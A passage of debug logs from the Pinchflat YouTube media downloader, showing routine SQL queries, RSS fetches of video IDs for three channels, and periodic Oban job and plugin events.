s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:50:45.394 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 08:50:45.419 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 08:50:45.420 [debug] QUERY OK source="media_items" db=0.3ms idle=26.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 08:50:45.422 [debug] QUERY OK source="media_items" db=1.9ms idle=26.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 08:50:45.422 [debug] QUERY OK source="tasks" db=0.0ms idle=28.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [571, 3, ~U[2026-07-24 08:50:45Z], ~U[2026-07-24 08:50:45Z]] 08:50:45.422 [info] {"args":{"id":3},"id":568,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":29614,"event":"job:stop","queue_time":609848,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:50:56.157 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:00.265 [info] {"source":"oban","duration":269,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:51:26.158 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:56.159 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:00.266 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:52:26.161 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:56.163 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:00.267 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:53:26.164 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:56.166 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:00.268 [info] {"source":"oban","duration":259,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:54:26.167 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:56.168 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:00.268 [info] {"source":"oban","duration":137,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:55:26.169 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:56.170 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:00.269 [info] {"source":"oban","duration":151,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:56:26.171 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:56.172 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:00.271 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:57:26.173 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:56.175 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:00.272 [info] {"source":"oban","duration":379,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:58:26.176 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:56.177 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:00.273 [info] {"source":"oban","duration":259,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:59:26.178 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:56.180 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:00.274 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:00:23.024 [info] {"args":{"id":2},"id":569,"meta":{},"system_time":1784883623024097971,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:00:23.024 [debug] QUERY OK source="sources" db=0.0ms idle=1605.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 09:00:23.024 [debug] QUERY OK source="settings" db=0.0ms idle=1605.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:00:23.024 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:00:23.024 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:00:23.024 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 09:00:23.137 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 09:00:23.137 [debug] QUERY OK source="media_items" db=0.2ms idle=113.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 09:00:23.138 [debug] QUERY OK source="media_items" db=0.2ms idle=113.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 09:00:23.138 [debug] QUERY OK source="tasks" db=0.0ms idle=114.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [572, 2, ~U[2026-07-24 09:00:23Z], ~U[2026-07-24 09:00:23Z]] 09:00:23.139 [info] {"args":{"id":2},"id":569,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":114896,"event":"job:stop","queue_time":523787,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:00:26.181 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:34.037 [info] {"args":{"id":1},"id":570,"meta":{},"system_time":1784883634037282819,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:00:34.037 [debug] QUERY OK source="sources" db=0.0ms idle=1618.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 09:00:34.037 [debug] QUERY OK source="settings" db=0.0ms idle=1007.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:00:34.037 [debug] QUERY OK source="media_profiles" db=0.0ms idle=618.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:00:34.037 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:00:34.037 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 09:00:34.220 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 09:00:34.220 [debug] QUERY OK source="media_items" db=0.2ms idle=183.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 09:00:34.223 [debug] QUERY OK source="media_items" db=2.0ms idle=183.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 09:00:34.223 [debug] QUERY OK source="tasks" db=0.0ms idle=185.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [573, 1, ~U[2026-07-24 09:00:34Z], ~U[2026-07-24 09:00:34Z]] 09:00:34.224 [info] {"args":{"id":1},"id":570,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":186670,"event":"job:stop","queue_time":613791,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:00:46.052 [info] {"args":{"id":3},"id":571,"meta":{},"system_time":1784883646052377862,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:00:46.052 [debug] QUERY OK source="sources" db=0.1ms idle=633.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 09:00:46.053 [debug] QUERY OK source="settings" db=0.1ms idle=633.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:00:46.053 [debug] QUERY OK source="media_profiles" db=0.0ms idle=634.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:00:46.053 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:00:46.053 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 09:00:46.228 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 09:00:46.228 [debug] QUERY OK source="media_items" db=0.3ms idle=175.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 09:00:46.230 [debug] QUERY OK source="media_items" db=1.7ms idle=176.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 09:00:46.231 [debug] QUERY OK source="tasks" db=0.0ms idle=177.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [574, 3, ~U[2026-07-24 09:00:46Z], ~U[2026-07-24 09:00:46Z]] 09:00:46.231 [info] {"args":{"id":3},"id":571,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":178958,"event":"job:stop","queue_time":629480,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:00:56.182 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:00.275 [info] {"source":"oban","duration":280,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:01:26.184 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:56.185 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:00.276 [info] {"source":"oban","duration":154,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:02:26.186 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:56.186 [info] {"source":"oban","duration":234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:00.277 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:03:26.188 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:56.189 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:00.278 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:04:26.190 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:56.191 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:00.278 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:05:26.192 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:56.193 [info] {"source":"oban","duration":899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:00.279 [info] {"source":"oban","duration":141,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:06:26.195 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:56.196 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:00.281 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:07:26.198 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:56.199 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:00.281 